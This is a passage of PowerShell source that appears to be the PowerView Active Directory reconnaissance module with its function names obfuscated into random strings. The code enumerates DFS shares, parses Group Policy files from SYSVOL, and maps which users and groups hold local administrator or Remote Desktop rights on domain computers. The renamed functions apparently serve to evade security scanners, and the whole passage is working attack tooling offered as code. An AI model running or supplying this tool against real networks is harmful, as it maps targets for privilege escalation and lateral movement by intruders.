$reserved_blob_end = $reserved_blob_start + $reserved_blob_size - 1 | |
$reserved_blob = $blob_data[$reserved_blob_start..$reserved_blob_end] | |
$referral_ttl_start = $reserved_blob_end + 1 | |
$referral_ttl_end = $referral_ttl_start + 3 | |
$referral_ttl = [bitconverter]::ToUInt32($blob_data[$referral_ttl_start..$referral_ttl_end],0) | |
$target_count_start = 0 | |
$target_count_end = $target_count_start + 3 | |
$target_count = [bitconverter]::ToUInt32($dfs_targetlist_blob[$target_count_start..$target_count_end],0) | |
$t_offset = $target_count_end + 1 | |
for($j=1; $j -le $target_count; $j++){ | |
$target_entry_size_start = $t_offset | |
$target_entry_size_end = $target_entry_size_start + 3 | |
$target_entry_size = [bitconverter]::ToUInt32($dfs_targetlist_blob[$target_entry_size_start..$target_entry_size_end],0) | |
$target_time_stamp_start = $target_entry_size_end + 1 | |
$target_time_stamp_end = $target_time_stamp_start + 7 | |
$target_time_stamp = $dfs_targetlist_blob[$target_time_stamp_start..$target_time_stamp_end] | |
$target_state_start = $target_time_stamp_end + 1 | |
$target_state_end = $target_state_start + 3 | |
$target_state = [bitconverter]::ToUInt32($dfs_targetlist_blob[$target_state_start..$target_state_end],0) | |
$target_type_start = $target_state_end + 1 | |
$target_type_end = $target_type_start + 3 | |
$target_type = [bitconverter]::ToUInt32($dfs_targetlist_blob[$target_type_start..$target_type_end],0) | |
$server_name_size_start = $target_type_end + 1 | |
$server_name_size_end = $server_name_size_start + 1 | |
$server_name_size = [bitconverter]::ToUInt16($dfs_targetlist_blob[$server_name_size_start..$server_name_size_end],0) | |
$server_name_start = $server_name_size_end + 1 | |
$server_name_end = $server_name_start + $server_name_size - 1 | |
$server_name = [System.Text.Encoding]::Unicode.GetString($dfs_targetlist_blob[$server_name_start..$server_name_end]) | |
$share_name_size_start = $server_name_end + 1 | |
$share_name_size_end = $share_name_size_start + 1 | |
$share_name_size = [bitconverter]::ToUInt16($dfs_targetlist_blob[$share_name_size_start..$share_name_size_end],0) | |
$share_name_start = $share_name_size_end + 1 | |
$share_name_end = $share_name_start + $share_name_size - 1 | |
$share_name = [System.Text.Encoding]::Unicode.GetString($dfs_targetlist_blob[$share_name_start..$share_name_end]) | |
$target_list += "\\$server_name\$share_name" | |
$t_offset = $share_name_end + 1 | |
} | |
} | |
} | |
$offset = $blob_data_end + 1 | |
$dfs_pkt_properties = @{ | |
'Name' = $blob_name | |
'Prefix' = $prefix | |
'TargetList' = $target_list | |
} | |
$object_list += New-Object -TypeName PSObject -Property $dfs_pkt_properties | |
$prefix = $Null | |
$blob_name = $Null | |
$target_list = $Null | |
} | |
$servers = @() | |
$object_list | ForEach-Object { | |
if ($_.TargetList) { | |
$_.TargetList | ForEach-Object { | |
$servers += $_.split('\')[2] | |
} | |
} | |
} | |
$servers | |
} | |
function 7K9PYEUTV1 { | |
[CmdletBinding()] | |
Param( | |
[String] | |
$Domain, | |
[String] | |
$SearchBase, | |
[String] | |
$Server, | |
[String] | |
$SearchScope = 'Subtree', | |
[Int] | |
$ResultPageSize = 200, | |
[Int] | |
$ServerTimeLimit, | |
[Switch] | |
$Tombstone, | |
[Management.Automation.PSCredential] | |
[Management.Automation.CredentialAttribute()] | |
$Credential = [Management.Automation.PSCredential]::Empty | |
) | |
$DFSsearcher = 4I4THHU7 @PSBoundParameters | |
if ($DFSsearcher) { | |
$DFSshares = @() | |
$DFSsearcher.filter = '(&(objectClass=fTDfs))' | |
try { | |
$Results = $DFSSearcher.FindAll() | |
$Results | Where-Object {$_} | ForEach-Object { | |
$Properties = $_.Properties | |
$RemoteNames = $Properties.remoteservername | |
$Pkt = $Properties.pkt | |
$DFSshares += $RemoteNames | ForEach-Object { | |
try { | |
if ( $_.Contains('\') ) { | |
New-Object -TypeName PSObject -Property @{'Name'=$Properties.name[0];'RemoteServerName'=$_.split('\')[2]} | |
} | |
} | |
catch { | |
Write-Verbose "[7K9PYEUT] 7K9PYEUTV1 error in parsing DFS share : $_" | |
} | |
} | |
} | |
if ($Results) { | |
try { $Results.dispose() } | |
catch { | |
Write-Verbose "[7K9PYEUT] 7K9PYEUTV1 error disposing of the Results object: $_" | |
} | |
} | |
$DFSSearcher.dispose() | |
if ($pkt -and $pkt[0]) { | |
Parse-Pkt $pkt[0] | ForEach-Object { | |
if ($_ -ne 'null') { | |
New-Object -TypeName PSObject -Property @{'Name'=$Properties.name[0];'RemoteServerName'=$_} | |
} | |
} | |
} | |
} | |
catch { | |
Write-Warning "[7K9PYEUT] 7K9PYEUTV1 error : $_" | |
} | |
$DFSshares | Sort-Object -Unique -Property 'RemoteServerName' | |
} | |
} | |
function 7K9PYEUTV2 { | |
[CmdletBinding()] | |
Param( | |
[String] | |
$Domain, | |
[String] | |
$SearchBase, | |
[String] | |
$Server, | |
[String] | |
$SearchScope = 'Subtree', | |
[Int] | |
$ResultPageSize = 200, | |
[Int] | |
$ServerTimeLimit, | |
[Switch] | |
$Tombstone, | |
[Management.Automation.PSCredential] | |
[Management.Automation.CredentialAttribute()] | |
$Credential = [Management.Automation.PSCredential]::Empty | |
) | |
$DFSsearcher = 4I4THHU7 @PSBoundParameters | |
if ($DFSsearcher) { | |
$DFSshares = @() | |
$DFSsearcher.filter = '(&(objectClass=msDFS-Linkv2))' | |
$Null = $DFSSearcher.PropertiesToLoad.AddRange(('msdfs-linkpathv2','msDFS-TargetListv2')) | |
try { | |
$Results = $DFSSearcher.FindAll() | |
$Results | Where-Object {$_} | ForEach-Object { | |
$Properties = $_.Properties | |
$target_list = $Properties.'msdfs-targetlistv2'[0] | |
$xml = [xml][System.Text.Encoding]::Unicode.GetString($target_list[2..($target_list.Length-1)]) | |
$DFSshares += $xml.targets.ChildNodes | ForEach-Object { | |
try { | |
$Target = $_.InnerText | |
if ( $Target.Contains('\') ) { | |
$DFSroot = $Target.split('\')[3] | |
$ShareName = $Properties.'msdfs-linkpathv2'[0] | |
New-Object -TypeName PSObject -Property @{'Name'="$DFSroot$ShareName";'RemoteServerName'=$Target.split('\')[2]} | |
} | |
} | |
catch { | |
Write-Verbose "[7K9PYEUT] 7K9PYEUTV2 error in parsing target : $_" | |
} | |
} | |
} | |
if ($Results) { | |
try { $Results.dispose() } | |
catch { | |
Write-Verbose "[7K9PYEUT] Error disposing of the Results object: $_" | |
} | |
} | |
$DFSSearcher.dispose() | |
} | |
catch { | |
Write-Warning "[7K9PYEUT] 7K9PYEUTV2 error : $_" | |
} | |
$DFSshares | Sort-Object -Unique -Property 'RemoteServerName' | |
} | |
} | |
} | |
PROCESS { | |
$DFSshares = @() | |
if ($PSBoundParameters['Domain']) { | |
ForEach ($TargetDomain in $Domain) { | |
$SearcherArguments['Domain'] = $TargetDomain | |
if ($Version -match 'all|1') { | |
$DFSshares += 7K9PYEUTV1 @SearcherArguments | |
} | |
if ($Version -match 'all|2') { | |
$DFSshares += 7K9PYEUTV2 @SearcherArguments | |
} | |
} | |
} | |
else { | |
if ($Version -match 'all|1') { | |
$DFSshares += 7K9PYEUTV1 @SearcherArguments | |
} | |
if ($Version -match 'all|2') { | |
$DFSshares += 7K9PYEUTV2 @SearcherArguments | |
} | |
} | |
$DFSshares | Sort-Object -Property ('RemoteServerName','Name') -Unique | |
} | |
} | |
function YD9B46YY { | |
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] | |
[OutputType([Hashtable])] | |
[CmdletBinding()] | |
Param ( | |
[Parameter(Mandatory = $True, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] | |
[Alias('gpcfilesyspath', 'Path')] | |
[String] | |
$GptTmplPath, | |
[Switch] | |
$OutputObject, | |
[Management.Automation.PSCredential] | |
[Management.Automation.CredentialAttribute()] | |
$Credential = [Management.Automation.PSCredential]::Empty | |
) | |
BEGIN { | |
$MappedPaths = @{} | |
} | |
PROCESS { | |
try { | |
if (($GptTmplPath -Match '\\\\.*\\.*') -and ($PSBoundParameters['Credential'])) { | |
$SysVolPath = "\\$((New-Object System.Uri($GptTmplPath)).Host)\SYSVOL" | |
if (-not $MappedPaths[$SysVolPath]) { | |
CFRACMAT -Path $SysVolPath -Credential $Credential | |
$MappedPaths[$SysVolPath] = $True | |
} | |
} | |
$TargetGptTmplPath = $GptTmplPath | |
if (-not $TargetGptTmplPath.EndsWith('.inf')) { | |
$TargetGptTmplPath += '\MACHINE\Microsoft\Windows NT\SecEdit\GptTmpl.inf' | |
} | |
Write-Verbose "[YD9B46YY] Parsing GptTmplPath: $TargetGptTmplPath" | |
if ($PSBoundParameters['OutputObject']) { | |
$Contents = B7H5J9AS -Path $TargetGptTmplPath -OutputObject -ErrorAction Stop | |
if ($Contents) { | |
$Contents | Add-Member Noteproperty 'Path' $TargetGptTmplPath | |
$Contents | |
} | |
} | |
else { | |
$Contents = B7H5J9AS -Path $TargetGptTmplPath -ErrorAction Stop | |
if ($Contents) { | |
$Contents['Path'] = $TargetGptTmplPath | |
$Contents | |
} | |
} | |
} | |
catch { | |
Write-Verbose "[YD9B46YY] Error parsing $TargetGptTmplPath : $_" | |
} | |
} | |
END { | |
$MappedPaths.Keys | ForEach-Object { P4Y3VQQR -Path $_ } | |
} | |
} | |
function V4AHGIO8 { | |
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] | |
[OutputType('PowerView.GroupsXML')] | |
[CmdletBinding()] | |
Param ( | |
[Parameter(Mandatory = $True, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] | |
[Alias('Path')] | |
[String] | |
$GroupsXMLPath, | |
[Management.Automation.PSCredential] | |
[Management.Automation.CredentialAttribute()] | |
$Credential = [Management.Automation.PSCredential]::Empty | |
) | |
BEGIN { | |
$MappedPaths = @{} | |
} | |
PROCESS { | |
try { | |
if (($GroupsXMLPath -Match '\\\\.*\\.*') -and ($PSBoundParameters['Credential'])) { | |
$SysVolPath = "\\$((New-Object System.Uri($GroupsXMLPath)).Host)\SYSVOL" | |
if (-not $MappedPaths[$SysVolPath]) { | |
CFRACMAT -Path $SysVolPath -Credential $Credential | |
$MappedPaths[$SysVolPath] = $True | |
} | |
} | |
[XML]$GroupsXMLcontent = Get-Content -Path $GroupsXMLPath -ErrorAction Stop | |
$GroupsXMLcontent | Select-Xml "/Groups/Group" | Select-Object -ExpandProperty node | ForEach-Object { | |
$Groupname = $_.Properties.groupName | |
$GroupSID = $_.Properties.groupSid | |
if (-not $GroupSID) { | |
if ($Groupname -match 'Administrators') { | |
$GroupSID = 'S-1-5-32-544' | |
} | |
elseif ($Groupname -match 'Remote Desktop') { | |
$GroupSID = 'S-1-5-32-555' | |
} | |
elseif ($Groupname -match 'Guests') { | |
$GroupSID = 'S-1-5-32-546' | |
} | |
else { | |
if ($PSBoundParameters['Credential']) { | |
$GroupSID = ConvertTo-SID -ObjectName $Groupname -Credential $Credential | |
} | |
else { | |
$GroupSID = ConvertTo-SID -ObjectName $Groupname | |
} | |
} | |
} | |
$Members = $_.Properties.members | Select-Object -ExpandProperty Member | Where-Object { $_.action -match 'ADD' } | ForEach-Object { | |
if ($_.sid) { $_.sid } | |
else { $_.name } | |
} | |
if ($Members) { | |
if ($_.filters) { | |
$Filters = $_.filters.GetEnumerator() | ForEach-Object { | |
New-Object -TypeName PSObject -Property @{'Type' = $_.LocalName;'Value' = $_.name} | |
} | |
} | |
else { | |
$Filters = $Null | |
} | |
if ($Members -isnot [System.Array]) { $Members = @($Members) } | |
$GroupsXML = New-Object PSObject | |
$GroupsXML | Add-Member Noteproperty 'GPOPath' $TargetGroupsXMLPath | |
$GroupsXML | Add-Member Noteproperty 'Filters' $Filters | |
$GroupsXML | Add-Member Noteproperty 'GroupName' $GroupName | |
$GroupsXML | Add-Member Noteproperty 'GroupSID' $GroupSID | |
$GroupsXML | Add-Member Noteproperty 'GroupMemberOf' $Null | |
$GroupsXML | Add-Member Noteproperty 'GroupMembers' $Members | |
$GroupsXML.PSObject.TypeNames.Insert(0, 'PowerView.GroupsXML') | |
$GroupsXML | |
} | |
} | |
} | |
catch { | |
Write-Verbose "[V4AHGIO8] Error parsing $TargetGroupsXMLPath : $_" | |
} | |
} | |
END { | |
$MappedPaths.Keys | ForEach-Object { P4Y3VQQR -Path $_ } | |
} | |
} | |
function D8RPVYWG { | |
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] | |
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseDeclaredVarsMoreThanAssignments', '')] | |
[OutputType('PowerView.GPO')] | |
[OutputType('PowerView.GPO.Raw')] | |
[CmdletBinding(DefaultParameterSetName = 'None')] | |
Param( | |
[Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] | |
[Alias('DistinguishedName', 'SamAccountName', 'Name')] | |
[String[]] | |
$Identity, | |
[Parameter(ParameterSetName = 'ComputerIdentity')] | |
[Alias('ComputerName')] | |
[ValidateNotNullOrEmpty()] | |
[String] | |
$ComputerIdentity, | |
[Parameter(ParameterSetName = 'UserIdentity')] | |
[Alias('UserName')] | |
[ValidateNotNullOrEmpty()] | |
[String] | |
$UserIdentity, | |
[ValidateNotNullOrEmpty()] | |
[String] | |
$Domain, | |
[ValidateNotNullOrEmpty()] | |
[Alias('Filter')] | |
[String] | |
$LDAPFilter, | |
[ValidateNotNullOrEmpty()] | |
[String[]] | |
$Properties, | |
[ValidateNotNullOrEmpty()] | |
[Alias('ADSPath')] | |
[String] | |
$SearchBase, | |
[ValidateNotNullOrEmpty()] | |
[Alias('DomainController')] | |
[String] | |
$Server, | |
[ValidateSet('Base', 'OneLevel', 'Subtree')] | |
[String] | |
$SearchScope = 'Subtree', | |
[ValidateRange(1, 10000)] | |
[Int] | |
$ResultPageSize = 200, | |
[ValidateRange(1, 10000)] | |
[Int] | |
$ServerTimeLimit, | |
[ValidateSet('Dacl', 'Group', 'None', 'Owner', 'Sacl')] | |
[String] | |
$SecurityMasks, | |
[Switch] | |
$Tombstone, | |
[Alias('ReturnOne')] | |
[Switch] | |
$FindOne, | |
[Management.Automation.PSCredential] | |
[Management.Automation.CredentialAttribute()] | |
$Credential = [Management.Automation.PSCredential]::Empty, | |
[Switch] | |
$Raw | |
) | |
BEGIN { | |
$SearcherArguments = @{} | |
if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain } | |
if ($PSBoundParameters['Properties']) { $SearcherArguments['Properties'] = $Properties } | |
if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase } | |
if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server } | |
if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope } | |
if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize } | |
if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } | |
if ($PSBoundParameters['SecurityMasks']) { $SearcherArguments['SecurityMasks'] = $SecurityMasks } | |
if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone } | |
if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential } | |
$GPOSearcher = 4I4THHU7 @SearcherArguments | |
} | |
PROCESS { | |
if ($GPOSearcher) { | |
if ($PSBoundParameters['ComputerIdentity'] -or $PSBoundParameters['UserIdentity']) { | |
$GPOAdsPaths = @() | |
if ($SearcherArguments['Properties']) { | |
$OldProperties = $SearcherArguments['Properties'] | |
} | |
$SearcherArguments['Properties'] = 'distinguishedname,dnshostname' | |
$TargetComputerName = $Null | |
if ($PSBoundParameters['ComputerIdentity']) { | |
$SearcherArguments['Identity'] = $ComputerIdentity | |
$Computer = 7M60VMOB @SearcherArguments -FindOne | Select-Object -First 1 | |
if(-not $Computer) { | |
Write-Verbose "[D8RPVYWG] Computer '$ComputerIdentity' not found!" | |
} | |
$ObjectDN = $Computer.distinguishedname | |
$TargetComputerName = $Computer.dnshostname | |
} | |
else { | |
$SearcherArguments['Identity'] = $UserIdentity | |
$User = C52BTCXM @SearcherArguments -FindOne | Select-Object -First 1 | |
if(-not $User) { | |
Write-Verbose "[D8RPVYWG] User '$UserIdentity' not found!" | |
} | |
$ObjectDN = $User.distinguishedname | |
} | |
$ObjectOUs = @() | |
$ObjectOUs += $ObjectDN.split(',') | ForEach-Object { | |
if($_.startswith('OU=')) { | |
$ObjectDN.SubString($ObjectDN.IndexOf("$($_),")) | |
} | |
} | |
Write-Verbose "[D8RPVYWG] object OUs: $ObjectOUs" | |
if ($ObjectOUs) { | |
$SearcherArguments.Remove('Properties') | |
$InheritanceDisabled = $False | |
ForEach($ObjectOU in $ObjectOUs) { | |
$SearcherArguments['Identity'] = $ObjectOU | |
$GPOAdsPaths += 5LD7ZSFI @SearcherArguments | ForEach-Object { | |
if ($_.gplink) { | |
$_.gplink.split('][') | ForEach-Object { | |
if ($_.startswith('LDAP')) { | |
$Parts = $_.split(';') | |
$GpoDN = $Parts[0] | |
$Enforced = $Parts[1] | |
if ($InheritanceDisabled) { | |
if ($Enforced -eq 2) { | |
$GpoDN | |
} | |
} | |
else { | |
$GpoDN | |
} | |
} | |
} | |
} | |
if ($_.gpoptions -eq 1) { | |
$InheritanceDisabled = $True | |
} | |
} | |
} | |
} | |
if ($TargetComputerName) { | |
$ComputerSite = (THXCYPQU -ComputerName $TargetComputerName).SiteName | |
if($ComputerSite -and ($ComputerSite -notlike 'Error*')) { | |
$SearcherArguments['Identity'] = $ComputerSite | |
$GPOAdsPaths += 4WHR88R3 @SearcherArguments | ForEach-Object { | |
if($_.gplink) { | |
$_.gplink.split('][') | ForEach-Object { | |
if ($_.startswith('LDAP')) { | |
$_.split(';')[0] | |
} | |
} | |
} | |
} | |
} | |
} | |
$ObjectDomainDN = $ObjectDN.SubString($ObjectDN.IndexOf('DC=')) | |
$SearcherArguments.Remove('Identity') | |
$SearcherArguments.Remove('Properties') | |
$SearcherArguments['LDAPFilter'] = "(objectclass=domain)(distinguishedname=$ObjectDomainDN)" | |
$GPOAdsPaths += H86VA398 @SearcherArguments | ForEach-Object { | |
if($_.gplink) { | |
$_.gplink.split('][') | ForEach-Object { | |
if ($_.startswith('LDAP')) { | |
$_.split(';')[0] | |
} | |
} | |
} | |
} | |
Write-Verbose "[D8RPVYWG] GPOAdsPaths: $GPOAdsPaths" | |
if ($OldProperties) { $SearcherArguments['Properties'] = $OldProperties } | |
else { $SearcherArguments.Remove('Properties') } | |
$SearcherArguments.Remove('Identity') | |
$GPOAdsPaths | Where-Object {$_ -and ($_ -ne '')} | ForEach-Object { | |
$SearcherArguments['SearchBase'] = $_ | |
$SearcherArguments['LDAPFilter'] = "(objectCategory=groupPolicyContainer)" | |
H86VA398 @SearcherArguments | ForEach-Object { | |
if ($PSBoundParameters['Raw']) { | |
$_.PSObject.TypeNames.Insert(0, 'PowerView.GPO.Raw') | |
} | |
else { | |
$_.PSObject.TypeNames.Insert(0, 'PowerView.GPO') | |
} | |
$_ | |
} | |
} | |
} | |
else { | |
$IdentityFilter = '' | |
$Filter = '' | |
$Identity | Where-Object {$_} | ForEach-Object { | |
$IdentityInstance = $_.Replace('(', '\28').Replace(')', '\29') | |
if ($IdentityInstance -match 'LDAP://|^CN=.*') { | |
$IdentityFilter += "(distinguishedname=$IdentityInstance)" | |
if ((-not $PSBoundParameters['Domain']) -and (-not $PSBoundParameters['SearchBase'])) { | |
$IdentityDomain = $IdentityInstance.SubString($IdentityInstance.IndexOf('DC=')) -replace 'DC=','' -replace ',','.' | |
Write-Verbose "[D8RPVYWG] Extracted domain '$IdentityDomain' from '$IdentityInstance'" | |
$SearcherArguments['Domain'] = $IdentityDomain | |
$GPOSearcher = 4I4THHU7 @SearcherArguments | |
if (-not $GPOSearcher) { | |
Write-Warning "[D8RPVYWG] Unable to retrieve domain searcher for '$IdentityDomain'" | |
} | |
} | |
} | |
elseif ($IdentityInstance -match '{.*}') { | |
$IdentityFilter += "(name=$IdentityInstance)" | |
} | |
else { | |
try { | |
$GuidByteString = (-Join (([Guid]$IdentityInstance).ToByteArray() | ForEach-Object {$_.ToString('X').PadLeft(2,'0')})) -Replace '(..)','\$1' | |
$IdentityFilter += "(objectguid=$GuidByteString)" | |
} | |
catch { | |
$IdentityFilter += "(displayname=$IdentityInstance)" | |
} | |
} | |
} | |
if ($IdentityFilter -and ($IdentityFilter.Trim() -ne '') ) { | |
$Filter += "(|$IdentityFilter)" | |
} | |
if ($PSBoundParameters['LDAPFilter']) { | |
Write-Verbose "[D8RPVYWG] Using additional LDAP filter: $LDAPFilter" | |
$Filter += "$LDAPFilter" | |
} | |
$GPOSearcher.filter = "(&(objectCategory=groupPolicyContainer)$Filter)" | |
Write-Verbose "[D8RPVYWG] filter string: $($GPOSearcher.filter)" | |
if ($PSBoundParameters['FindOne']) { $Results = $GPOSearcher.FindOne() } | |
else { $Results = $GPOSearcher.FindAll() } | |
$Results | Where-Object {$_} | ForEach-Object { | |
if ($PSBoundParameters['Raw']) { | |
$GPO = $_ | |
$GPO.PSObject.TypeNames.Insert(0, 'PowerView.GPO.Raw') | |
} | |
else { | |
if ($PSBoundParameters['SearchBase'] -and ($SearchBase -Match '^GC://')) { | |
$GPO = Convert-LDAPProperty -Properties $_.Properties | |
try { | |
$GPODN = $GPO.distinguishedname | |
$GPODomain = $GPODN.SubString($GPODN.IndexOf('DC=')) -replace 'DC=','' -replace ',','.' | |
$gpcfilesyspath = "\\$GPODomain\SysVol\$GPODomain\Policies\$($GPO.cn)" | |
$GPO | Add-Member Noteproperty 'gpcfilesyspath' $gpcfilesyspath | |
} | |
catch { | |
Write-Verbose "[D8RPVYWG] Error calculating gpcfilesyspath for: $($GPO.distinguishedname)" | |
} | |
} | |
else { | |
$GPO = Convert-LDAPProperty -Properties $_.Properties | |
} | |
$GPO.PSObject.TypeNames.Insert(0, 'PowerView.GPO') | |
} | |
$GPO | |
} | |
if ($Results) { | |
try { $Results.dispose() } | |
catch { | |
Write-Verbose "[D8RPVYWG] Error disposing of the Results object: $_" | |
} | |
} | |
$GPOSearcher.dispose() | |
} | |
} | |
} | |
} | |
function D8RPVYWGLocalGroup { | |
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] | |
[OutputType('PowerView.GPOGroup')] | |
[CmdletBinding()] | |
Param( | |
[Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] | |
[Alias('DistinguishedName', 'SamAccountName', 'Name')] | |
[String[]] | |
$Identity, | |
[Switch] | |
$ResolveMembersToSIDs, | |
[ValidateNotNullOrEmpty()] | |
[String] | |
$Domain, | |
[ValidateNotNullOrEmpty()] | |
[Alias('Filter')] | |
[String] | |
$LDAPFilter, | |
[ValidateNotNullOrEmpty()] | |
[Alias('ADSPath')] | |
[String] | |
$SearchBase, | |
[ValidateNotNullOrEmpty()] | |
[Alias('DomainController')] | |
[String] | |
$Server, | |
[ValidateSet('Base', 'OneLevel', 'Subtree')] | |
[String] | |
$SearchScope = 'Subtree', | |
[ValidateRange(1, 10000)] | |
[Int] | |
$ResultPageSize = 200, | |
[ValidateRange(1, 10000)] | |
[Int] | |
$ServerTimeLimit, | |
[Switch] | |
$Tombstone, | |
[Management.Automation.PSCredential] | |
[Management.Automation.CredentialAttribute()] | |
$Credential = [Management.Automation.PSCredential]::Empty | |
) | |
BEGIN { | |
$SearcherArguments = @{} | |
if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain } | |
if ($PSBoundParameters['LDAPFilter']) { $SearcherArguments['LDAPFilter'] = $Domain } | |
if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase } | |
if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server } | |
if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope } | |
if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize } | |
if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } | |
if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone } | |
if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential } | |
$ConvertArguments = @{} | |
if ($PSBoundParameters['Domain']) { $ConvertArguments['Domain'] = $Domain } | |
if ($PSBoundParameters['Server']) { $ConvertArguments['Server'] = $Server } | |
if ($PSBoundParameters['Credential']) { $ConvertArguments['Credential'] = $Credential } | |
$SplitOption = [System.StringSplitOptions]::RemoveEmptyEntries | |
} | |
PROCESS { | |
if ($PSBoundParameters['Identity']) { $SearcherArguments['Identity'] = $Identity } | |
D8RPVYWG @SearcherArguments | ForEach-Object { | |
$GPOdisplayName = $_.displayname | |
$GPOname = $_.name | |
$GPOPath = $_.gpcfilesyspath | |
$ParseArgs = @{ 'GptTmplPath' = "$GPOPath\MACHINE\Microsoft\Windows NT\SecEdit\GptTmpl.inf" } | |
if ($PSBoundParameters['Credential']) { $ParseArgs['Credential'] = $Credential } | |
$Inf = YD9B46YY @ParseArgs | |
if ($Inf -and ($Inf.psbase.Keys -contains 'Group Membership')) { | |
$Memberships = @{} | |
ForEach ($Membership in $Inf.'Group Membership'.GetEnumerator()) { | |
$Group, $Relation = $Membership.Key.Split('__', $SplitOption) | ForEach-Object {$_.Trim()} | |
$MembershipValue = $Membership.Value | Where-Object {$_} | ForEach-Object { $_.Trim('*') } | Where-Object {$_} | |
if ($PSBoundParameters['ResolveMembersToSIDs']) { | |
$GroupMembers = @() | |
ForEach ($Member in $MembershipValue) { | |
if ($Member -and ($Member.Trim() -ne '')) { | |
if ($Member -notmatch '^S-1-.*') { | |
$ConvertToArguments = @{'ObjectName' = $Member} | |
if ($PSBoundParameters['Domain']) { $ConvertToArguments['Domain'] = $Domain } | |
$MemberSID = ConvertTo-SID @ConvertToArguments | |
if ($MemberSID) { | |
$GroupMembers += $MemberSID | |
} | |
else { | |
$GroupMembers += $Member | |
} | |
} | |
else { | |
$GroupMembers += $Member | |
} | |
} | |
} | |
$MembershipValue = $GroupMembers | |
} | |
if (-not $Memberships[$Group]) { | |
$Memberships[$Group] = @{} | |
} | |
if ($MembershipValue -isnot [System.Array]) {$MembershipValue = @($MembershipValue)} | |
$Memberships[$Group].Add($Relation, $MembershipValue) | |
} | |
ForEach ($Membership in $Memberships.GetEnumerator()) { | |
if ($Membership -and $Membership.Key -and ($Membership.Key -match '^\*')) { | |
$GroupSID = $Membership.Key.Trim('*') | |
if ($GroupSID -and ($GroupSID.Trim() -ne '')) { | |
$GroupName = ConvertFrom-SID -ObjectSID $GroupSID @ConvertArguments | |
} | |
else { | |
$GroupName = $False | |
} | |
} | |
else { | |
$GroupName = $Membership.Key | |
if ($GroupName -and ($GroupName.Trim() -ne '')) { | |
if ($Groupname -match 'Administrators') { | |
$GroupSID = 'S-1-5-32-544' | |
} | |
elseif ($Groupname -match 'Remote Desktop') { | |
$GroupSID = 'S-1-5-32-555' | |
} | |
elseif ($Groupname -match 'Guests') { | |
$GroupSID = 'S-1-5-32-546' | |
} | |
elseif ($GroupName.Trim() -ne '') { | |
$ConvertToArguments = @{'ObjectName' = $Groupname} | |
if ($PSBoundParameters['Domain']) { $ConvertToArguments['Domain'] = $Domain } | |
$GroupSID = ConvertTo-SID @ConvertToArguments | |
} | |
else { | |
$GroupSID = $Null | |
} | |
} | |
} | |
$GPOGroup = New-Object PSObject | |
$GPOGroup | Add-Member Noteproperty 'GPODisplayName' $GPODisplayName | |
$GPOGroup | Add-Member Noteproperty 'GPOName' $GPOName | |
$GPOGroup | Add-Member Noteproperty 'GPOPath' $GPOPath | |
$GPOGroup | Add-Member Noteproperty 'GPOType' 'RestrictedGroups' | |
$GPOGroup | Add-Member Noteproperty 'Filters' $Null | |
$GPOGroup | Add-Member Noteproperty 'GroupName' $GroupName | |
$GPOGroup | Add-Member Noteproperty 'GroupSID' $GroupSID | |
$GPOGroup | Add-Member Noteproperty 'GroupMemberOf' $Membership.Value.Memberof | |
$GPOGroup | Add-Member Noteproperty 'GroupMembers' $Membership.Value.Members | |
$GPOGroup.PSObject.TypeNames.Insert(0, 'PowerView.GPOGroup') | |
$GPOGroup | |
} | |
} | |
$ParseArgs = @{ | |
'GroupsXMLpath' = "$GPOPath\MACHINE\Preferences\Groups\Groups.xml" | |
} | |
V4AHGIO8 @ParseArgs | ForEach-Object { | |
if ($PSBoundParameters['ResolveMembersToSIDs']) { | |
$GroupMembers = @() | |
ForEach ($Member in $_.GroupMembers) { | |
if ($Member -and ($Member.Trim() -ne '')) { | |
if ($Member -notmatch '^S-1-.*') { | |
$ConvertToArguments = @{'ObjectName' = $Groupname} | |
if ($PSBoundParameters['Domain']) { $ConvertToArguments['Domain'] = $Domain } | |
$MemberSID = ConvertTo-SID -Domain $Domain -ObjectName $Member | |
if ($MemberSID) { | |
$GroupMembers += $MemberSID | |
} | |
else { | |
$GroupMembers += $Member | |
} | |
} | |
else { | |
$GroupMembers += $Member | |
} | |
} | |
} | |
$_.GroupMembers = $GroupMembers | |
} | |
$_ | Add-Member Noteproperty 'GPODisplayName' $GPODisplayName | |
$_ | Add-Member Noteproperty 'GPOName' $GPOName | |
$_ | Add-Member Noteproperty 'GPOType' 'GroupPolicyPreferences' | |
$_.PSObject.TypeNames.Insert(0, 'PowerView.GPOGroup') | |
$_ | |
} | |
} | |
} | |
} | |
function D8RPVYWGUserLocalGroupMapping { | |
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] | |
[OutputType('PowerView.GPOUserLocalGroupMapping')] | |
[CmdletBinding()] | |
Param( | |
